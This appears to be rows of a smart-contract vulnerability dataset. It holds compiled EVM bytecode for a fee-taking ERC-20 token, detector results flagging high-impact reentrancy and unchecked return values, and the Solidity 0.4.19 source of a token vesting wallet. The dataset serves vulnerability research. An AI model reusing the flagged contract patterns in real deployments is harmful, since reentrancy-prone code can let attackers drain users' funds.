11375929190612d91565b602060405180830381600087803b15801561138f57600080fd5b505af11580156113a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c791906129f3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612f98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612eb8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116189190612fd8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168c90612f58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc90612e58565b60405180910390fd5b60008111611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90612f38565b60405180910390fd5b6000600a819055506007600b81905550611760610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ce575061179e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118775750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561192b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119815750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119995750600e60179054906101000a900460ff165b15611ad757600f548111156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612e78565b60405180910390fd5b601054816119f0846109dd565b6119fa919061310e565b1115611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3290612f78565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a8657600080fd5b601e42611a93919061310e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bee576000600a819055506007600b819055505b6000611bf9306109dd565b9050600e60159054906101000a900460ff16158015611c665750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7e5750600e60169054906101000a900460ff165b15611ca657611c8c81611ebb565b60004790506000811115611ca457611ca347611de1565b5b505b505b611cb3838383612143565b505050565b6000838311158290611d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf79190612e36565b60405180910390fd5b5060008385611d0f91906131ef565b9050809150509392505050565b600080831415611d2f5760009050611d91565b60008284611d3d9190613195565b9050828482611d4c9190613164565b14611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8390612ef8565b60405180910390fd5b809150505b92915050565b6000611dd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612153565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e49573d6000803e3d6000fd5b5050565b6000600854821115611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90612e98565b60405180910390fd5b6000611e9e6121b6565b9050611eb38184611d9790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef357611ef26133c4565b5b604051908082528060200260200182016040528015611f215781602001602082028036833780820191505090505b5090503081600081518110611f3957611f38613395565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fdb57600080fd5b505afa158015611fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612013919061287d565b8160018151811061202757612026613395565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461145a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f2959493929190612ff3565b600060405180830381600087803b15801561210c57600080fd5b505af1158015612120573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61214e8383836121e1565b505050565b6000808311829061219a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121919190612e36565b60405180910390fd5b50600083856121a99190613164565b9050809150509392505050565b60008060006121c36123ac565b915091506121da8183611d9790919063ffffffff16565b9250505090565b6000806000806000806121f38761240e565b95509550955095509550955061225186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123328161251e565b61233c84836125db565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123999190612fd8565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d6310000090506123e268056bc75e2d63100000600854611d9790919063ffffffff16565b8210156124015760085468056bc75e2d6310000093509350505061240a565b81819350935050505b9091565b600080600080600080600080600061242b8a600a54600b54612615565b925092509250600061243b6121b6565b9050600080600061244e8e8787876126ab565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb8565b905092915050565b60008082846124cf919061310e565b905083811015612514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250b90612ed8565b60405180910390fd5b8091505092915050565b60006125286121b6565b9050600061253f8284611d1c90919063ffffffff16565b905061259381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125f08260085461247690919063ffffffff16565b60088190555061260b816009546124c090919063ffffffff16565b6009819055505050565b6000806000806126416064612633888a611d1c90919063ffffffff16565b611d9790919063ffffffff16565b9050600061266b606461265d888b611d1c90919063ffffffff16565b611d9790919063ffffffff16565b9050600061269482612686858c61247690919063ffffffff16565b61247690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c48589611d1c90919063ffffffff16565b905060006126db8689611d1c90919063ffffffff16565b905060006126f28789611d1c90919063ffffffff16565b9050600061271b8261270d858761247690919063ffffffff16565b61247690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127476127428461308d565b613068565b9050808382526020820190508285602086028201111561276a576127696133f8565b5b60005b8581101561279a578161278088826127a4565b84526020840193506020830192505060018101905061276d565b5050509392505050565b6000813590506127b38161370e565b92915050565b6000815190506127c88161370e565b92915050565b600082601f8301126127e3576127e26133f3565b5b81356127f3848260208601612734565b91505092915050565b60008135905061280b81613725565b92915050565b60008151905061282081613725565b92915050565b6000813590506128358161373c565b92915050565b60008151905061284a8161373c565b92915050565b60006020828403121561286657612865613402565b5b6000612874848285016127a4565b91505092915050565b60006020828403121561289357612892613402565b5b60006128a1848285016127b9565b91505092915050565b600080604083850312156128c1576128c0613402565b5b60006128cf858286016127a4565b92505060206128e0858286016127a4565b9150509250929050565b60008060006060848603121561290357612902613402565b5b6000612911868287016127a4565b9350506020612922868287016127a4565b925050604061293386828701612826565b9150509250925092565b6000806040838503121561295457612953613402565b5b6000612962858286016127a4565b925050602061297385828601612826565b9150509250929050565b60006020828403121561299357612992613402565b5b600082013567ffffffffffffffff8111156129b1576129b06133fd565b5b6129bd848285016127ce565b91505092915050565b6000602082840312156129dc576129db613402565b5b60006129ea848285016127fc565b91505092915050565b600060208284031215612a0957612a08613402565b5b6000612a1784828501612811565b91505092915050565b600060208284031215612a3657612a35613402565b5b6000612a4484828501612826565b91505092915050565b600080600060608486031215612a6657612a65613402565b5b6000612a748682870161283b565b9350506020612a858682870161283b565b9250506040612a968682870161283b565b9150509250925092565b6000612aac8383612ab8565b60208301905092915050565b612ac181613223565b82525050565b612ad081613223565b82525050565b6000612ae1826130c9565b612aeb81856130ec565b9350612af6836130b9565b8060005b83811015612b27578151612b0e8882612aa0565b9750612b19836130df565b925050600181019050612afa565b5085935050505092915050565b612b3d81613235565b82525050565b612b4c81613278565b82525050565b6000612b5d826130d4565b612b6781856130fd565b9350612b7781856020860161328a565b612b8081613407565b840191505092915050565b6000612b986023836130fd565b9150612ba382613418565b604082019050919050565b6000612bbb6019836130fd565b9150612bc682613467565b602082019050919050565b6000612bde602a836130fd565b9150612be982613490565b604082019050919050565b6000612c016022836130fd565b9150612c0c826134df565b604082019050919050565b6000612c24601b836130fd565b9150612c2f8261352e565b602082019050919050565b6000612c476021836130fd565b9150612c5282613557565b604082019050919050565b6000612c6a6020836130fd565b9150612c75826135a6565b602082019050919050565b6000612c8d6029836130fd565b9150612c98826135cf565b604082019050919050565b6000612cb06025836130fd565b9150612cbb8261361e565b604082019050919050565b6000612cd3601a836130fd565b9150612cde8261366d565b602082019050919050565b6000612cf66024836130fd565b9150612d0182613696565b604082019050919050565b6000612d196017836130fd565b9150612d24826136e5565b602082019050919050565b612d3881613261565b82525050565b612d478161326b565b82525050565b6000602082019050612d626000830184612ac7565b92915050565b6000604082019050612d7d6000830185612ac7565b612d8a6020830184612ac7565b9392505050565b6000604082019050612da66000830185612ac7565b612db36020830184612d2f565b9392505050565b600060c082019050612dcf6000830189612ac7565b612ddc6020830188612d2f565b612de96040830187612b43565b612df66060830186612b43565b612e036080830185612ac7565b612e1060a0830184612d2f565b979650505050505050565b6000602082019050612e306000830184612b34565b92915050565b60006020820190508181036000830152612e508184612b52565b905092915050565b60006020820190508181036000830152612e7181612b8b565b9050919050565b60006020820190508181036000830152612e9181612bae565b9050919050565b60006020820190508181036000830152612eb181612bd1565b9050919050565b60006020820190508181036000830152612ed181612bf4565b9050919050565b60006020820190508181036000830152612ef181612c17565b9050919050565b60006020820190508181036000830152612f1181612c3a565b9050919050565b60006020820190508181036000830152612f3181612c5d565b9050919050565b60006020820190508181036000830152612f5181612c80565b9050919050565b60006020820190508181036000830152612f7181612ca3565b9050919050565b60006020820190508181036000830152612f9181612cc6565b9050919050565b60006020820190508181036000830152612fb181612ce9565b9050919050565b60006020820190508181036000830152612fd181612d0c565b9050919050565b6000602082019050612fed6000830184612d2f565b92915050565b600060a0820190506130086000830188612d2f565b6130156020830187612b43565b81810360408301526130278186612ad6565b90506130366060830185612ac7565b6130436080830184612d2f565b9695505050505050565b60006020820190506130626000830184612d3e565b92915050565b6000613072613083565b905061307e82826132bd565b919050565b6000604051905090565b600067ffffffffffffffff8211156130a8576130a76133c4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061311982613261565b915061312483613261565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315957613158613337565b5b828201905092915050565b600061316f82613261565b915061317a83613261565b92508261318a57613189613366565b5b828204905092915050565b60006131a082613261565b91506131ab83613261565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e4576131e3613337565b5b828202905092915050565b60006131fa82613261565b915061320583613261565b92508282101561321857613217613337565b5b828203905092915050565b600061322e82613241565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328382613261565b9050919050565b60005b838110156132a857808201518184015260208101905061328d565b838111156132b7576000848401525b50505050565b6132c682613407565b810181811067ffffffffffffffff821117156132e5576132e46133c4565b5b80604052505050565b60006132f982613261565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332c5761332b613337565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61371781613223565b811461372257600080fd5b50565b61372e81613235565b811461373957600080fd5b50565b61374581613261565b811461375057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c291b62f4600e571d28ca47b3fef17b4ab5a2708e088a9ddcb58022079c889aa64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,906 |
0x73b29c2a2dd1c18fe95cc43f67e5d202651794fe | pragma solidity ^0.4.19;
// File: contracts/erc20/Token.sol
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/math/SafeMath.sol
contract SafeMath {
function safeMul(uint a, uint b) internal constant returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal constant returns (uint) {
uint c = a / b;
return c;
}
function safeSub(uint a, uint b) internal constant returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal constant returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
// File: contracts/ownership/Ownable.sol
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// File: contracts/vesting/VestingWallet.sol
contract VestingWallet is Ownable, SafeMath {
mapping(address => VestingSchedule) public schedules; // vesting schedules for given addresses
mapping(address => address) public addressChangeRequests; // requested address changes
Token public vestingToken;
address public approvedWallet;
event VestingScheduleRegistered(
address indexed registeredAddress,
address depositor,
uint startTimeInSec,
uint cliffTimeInSec,
uint endTimeInSec,
uint totalAmount
);
event Withdrawal(address indexed registeredAddress, uint amountWithdrawn);
event VestingEndedByOwner(address indexed registeredAddress, uint amountWithdrawn, uint amountRefunded);
event AddressChangeRequested(address indexed oldRegisteredAddress, address indexed newRegisteredAddress);
event AddressChangeConfirmed(address indexed oldRegisteredAddress, address indexed newRegisteredAddress);
struct VestingSchedule {
uint startTimeInSec;
uint cliffTimeInSec;
uint endTimeInSec;
uint totalAmount;
uint totalAmountWithdrawn;
address depositor;
}
modifier addressRegistered(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.depositor != address(0));
_;
}
modifier addressNotRegistered(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.depositor == address(0));
_;
}
modifier pendingAddressChangeRequest(address target) {
require(addressChangeRequests[target] != address(0));
_;
}
modifier pastCliffTime(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(getTime() > vestingSchedule.cliffTimeInSec);
_;
}
modifier validVestingScheduleTimes(uint startTimeInSec, uint cliffTimeInSec, uint endTimeInSec) {
require(cliffTimeInSec >= startTimeInSec);
require(endTimeInSec >= cliffTimeInSec);
_;
}
modifier addressNotNull(address target) {
require(target != address(0));
_;
}
/// @dev Assigns a vesting token to the wallet.
/// @param _vestingToken Token that will be vested.
function VestingWallet(address _vestingToken) {
vestingToken = Token(_vestingToken);
approvedWallet = msg.sender;
}
function registerVestingScheduleWithPercentage(
address _addressToRegister,
address _depositor,
uint _startTimeInSec,
uint _cliffTimeInSec,
uint _endTimeInSec,
uint _totalAmount,
uint _percentage
)
public
onlyOwner
addressNotNull(_depositor)
validVestingScheduleTimes(_startTimeInSec, _cliffTimeInSec, _endTimeInSec)
{
require(_percentage <= 100);
uint vestedAmount = safeDiv(safeMul(
_totalAmount, _percentage
), 100);
registerVestingSchedule(_addressToRegister, _depositor, _startTimeInSec, _cliffTimeInSec, _endTimeInSec, vestedAmount);
}
/// @dev Registers a vesting schedule to an address.
/// @param _addressToRegister The address that is allowed to withdraw vested tokens for this schedule.
/// @param _depositor Address that will be depositing vesting token.
/// @param _startTimeInSec The time in seconds that vesting began.
/// @param _cliffTimeInSec The time in seconds that tokens become withdrawable.
/// @param _endTimeInSec The time in seconds that vesting ends.
/// @param _totalAmount The total amount of tokens that the registered address can withdraw by the end of the vesting period.
function registerVestingSchedule(
address _addressToRegister,
address _depositor,
uint _startTimeInSec,
uint _cliffTimeInSec,
uint _endTimeInSec,
uint _totalAmount
)
public
onlyOwner
addressNotNull(_depositor)
validVestingScheduleTimes(_startTimeInSec, _cliffTimeInSec, _endTimeInSec)
{
require(vestingToken.transferFrom(approvedWallet, address(this), _totalAmount));
require(vestingToken.balanceOf(address(this)) >= _totalAmount);
schedules[_addressToRegister] = VestingSchedule({
startTimeInSec : _startTimeInSec,
cliffTimeInSec : _cliffTimeInSec,
endTimeInSec : _endTimeInSec,
totalAmount : _totalAmount,
totalAmountWithdrawn : 0,
depositor : _depositor
});
VestingScheduleRegistered(
_addressToRegister,
_depositor,
_startTimeInSec,
_cliffTimeInSec,
_endTimeInSec,
_totalAmount
);
}
/// @dev Allows a registered address to withdraw tokens that have already been vested.
function withdraw()
public
pastCliffTime(msg.sender)
{
VestingSchedule storage vestingSchedule = schedules[msg.sender];
uint totalAmountVested = getTotalAmountVested(vestingSchedule);
uint amountWithdrawable = safeSub(totalAmountVested, vestingSchedule.totalAmountWithdrawn);
vestingSchedule.totalAmountWithdrawn = totalAmountVested;
if (amountWithdrawable > 0) {
require(vestingToken.transfer(msg.sender, amountWithdrawable));
Withdrawal(msg.sender, amountWithdrawable);
}
}
/// @dev Allows contract owner to terminate a vesting schedule, transfering remaining vested tokens to the registered address and refunding owner with remaining tokens.
/// @param _addressToEnd Address that is currently registered to the vesting schedule that will be closed.
/// @param _addressToRefund Address that will receive unvested tokens.
function endVesting(address _addressToEnd, address _addressToRefund)
public
onlyOwner
addressNotNull(_addressToRefund)
{
VestingSchedule storage vestingSchedule = schedules[_addressToEnd];
uint amountWithdrawable = 0;
uint amountRefundable = 0;
if (getTime() < vestingSchedule.cliffTimeInSec) {
amountRefundable = vestingSchedule.totalAmount;
}
else {
uint totalAmountVested = getTotalAmountVested(vestingSchedule);
amountWithdrawable = safeSub(totalAmountVested, vestingSchedule.totalAmountWithdrawn);
amountRefundable = safeSub(vestingSchedule.totalAmount, totalAmountVested);
}
delete schedules[_addressToEnd];
require(amountWithdrawable == 0 || vestingToken.transfer(_addressToEnd, amountWithdrawable));
require(amountRefundable == 0 || vestingToken.transfer(_addressToRefund, amountRefundable));
VestingEndedByOwner(_addressToEnd, amountWithdrawable, amountRefundable);
}
/// @dev Allows a registered address to request an address change.
/// @param _newRegisteredAddress Desired address to update to.
function requestAddressChange(address _newRegisteredAddress)
public
addressNotRegistered(_newRegisteredAddress)
addressNotNull(_newRegisteredAddress)
{
addressChangeRequests[msg.sender] = _newRegisteredAddress;
AddressChangeRequested(msg.sender, _newRegisteredAddress);
}
/// @dev Confirm an address change and migrate vesting schedule to new address.
/// @param _oldRegisteredAddress Current registered address.
/// @param _newRegisteredAddress Address to migrate vesting schedule to.
function confirmAddressChange(address _oldRegisteredAddress, address _newRegisteredAddress)
public
onlyOwner
pendingAddressChangeRequest(_oldRegisteredAddress)
addressNotRegistered(_newRegisteredAddress)
{
address newRegisteredAddress = addressChangeRequests[_oldRegisteredAddress];
require(newRegisteredAddress == _newRegisteredAddress);
// prevents race condition
VestingSchedule memory vestingSchedule = schedules[_oldRegisteredAddress];
schedules[newRegisteredAddress] = vestingSchedule;
delete schedules[_oldRegisteredAddress];
delete addressChangeRequests[_oldRegisteredAddress];
AddressChangeConfirmed(_oldRegisteredAddress, _newRegisteredAddress);
}
function setApprovedWallet(address _approvedWallet)
public
addressNotNull(_approvedWallet)
onlyOwner {
approvedWallet = _approvedWallet;
}
function getTime() internal view returns (uint) {
return now;
}
function allowance(address _target) public view returns (uint) {
VestingSchedule storage vestingSchedule = schedules[_target];
uint totalAmountVested = getTotalAmountVested(vestingSchedule);
uint amountWithdrawable = safeSub(totalAmountVested, vestingSchedule.totalAmountWithdrawn);
return amountWithdrawable;
}
/// @dev Calculates the total tokens that have been vested for a vesting schedule, assuming the schedule is past the cliff.
/// @param vestingSchedule Vesting schedule used to calculate vested tokens.
/// @return Total tokens vested for a vesting schedule.
function getTotalAmountVested(VestingSchedule vestingSchedule)
internal
view
returns (uint)
{
if (getTime() >= vestingSchedule.endTimeInSec) {
return vestingSchedule.totalAmount;
}
uint timeSinceStartInSec = safeSub(getTime(), vestingSchedule.startTimeInSec);
uint totalVestingTimeInSec = safeSub(vestingSchedule.endTimeInSec, vestingSchedule.startTimeInSec);
uint totalAmountVested = safeDiv(
safeMul(timeSinceStartInSec, vestingSchedule.totalAmount), totalVestingTimeInSec
);
return totalAmountVested;
}
} | 0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301d490fd146100d55780630633cd321461015157806319d152fa1461018a5780633ccfd60b146101df5780633e5beab9146101f4578063483e8c8c1461024157806380c3780f146102c65780638da5cb5b14610362578063a5b19937146103b7578063ae6a1c301461040f578063b1e9ee6414610448578063bff44f0d146104c1578063f2a7e62414610519578063f2fde38b1461056e575b600080fd5b34156100e057600080fd5b61014f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919080359060200190919080359060200190919050506105a7565b005b341561015c57600080fd5b610188600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a3d565b005b341561019557600080fd5b61019d610bfb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101ea57600080fd5b6101f2610c21565b005b34156101ff57600080fd5b61022b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ece565b6040518082815260200191505060405180910390f35b341561024c57600080fd5b6102c4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050610fcf565b005b34156102d157600080fd5b6102fd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110cc565b604051808781526020018681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390f35b341561036d57600080fd5b610375611128565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c257600080fd5b61040d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061114d565b005b341561041a57600080fd5b610446600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ff565b005b341561045357600080fd5b61047f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104cc57600080fd5b610517600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061170f565b005b341561052457600080fd5b61052c611c36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057957600080fd5b6105a5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c5c565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561060257600080fd5b84600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561063f57600080fd5b84848482821015151561065157600080fd5b81811015151561066057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630886000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561078357600080fd5b6102c65a03f1151561079457600080fd5b5050506040518051905015156107a957600080fd5b84600360009054906101000a900473f